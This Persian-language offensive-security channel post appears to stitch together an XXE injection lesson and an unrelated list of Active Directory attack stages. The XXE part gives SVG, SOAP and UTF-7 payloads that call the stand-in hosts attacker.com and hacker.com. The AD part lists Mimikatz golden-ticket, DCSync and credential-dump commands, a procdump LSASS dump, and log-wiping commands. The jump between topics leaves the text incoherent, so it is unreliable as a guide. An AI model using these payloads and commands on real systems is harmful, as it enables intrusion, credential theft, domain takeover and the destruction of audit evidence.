6712
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفهای شو.
📌 حملات XXE (تزریق XML) - بخش سوم
🔹 حملات پیشرفته XXE (ادامه)
4. استفاده از XXE در فایلهای SVG (حملات از طریق تصاویر)
فایلهای SVG مبتنی بر XML هستند و میتوانند حاوی payloadهای XXE باشند:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" height="200">
<image xlink:href="expect://id"></image>
</svg>
<soap:Body>
<foo>
<![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://attacker.com/"> %dtd;]><xxx/>]]>
</foo>
</soap:Body>
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hacker.com/+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
🧬 مرحله ۴: Persistence (پایداری)
Golden Ticket:
ساختن با Mimikatz:
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-... /krbtgt:<hash>
Skeleton Key (موقعی که به DC دسترسی داریم)
SIDHistory Injection
Abuse کردن AdminSDHolder یا GPO برای حفظ دسترسی
🔁 مرحله ۵: Lateral Movement (حرکت جانبی)
تکنیکهای کلیدی:
Pass-the-Hash
Pass-the-Ticket
Overpass-the-Hash
استفاده از WMI / PsExec / WinRM برای اجرای ریموت
ابزارهای:
wmiexec.py
PsExec.exe
CrackMapExec (لینوکس)
SharpExec.exe یا PowerShell Remoting
🏰 مرحله ۶: Domain Controller Compromise
DCSync Attack با Mimikatz:
lsadump::dcsync /domain:domain.local /user:krbtgt
DCShadow Attack
Dump LSASS با Procdump:
procdump -ma lsass.exe lsass.dmp
و استخراج رمزها با Mimikatz:
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
🪖مرحله ۷: Exfiltration & Cleanup
Exfiltration با SMB، DNS Tunneling یا ابزارهایی مثل Rclone
حذف لاگ:
wevtutil cl Security
del *.evtx
پوشاندن ردپاها با ابزارهای پاکسازی (مثلاً Invoke-Phant0m.ps1)
نویسنده
@TryHackBox | arian momeni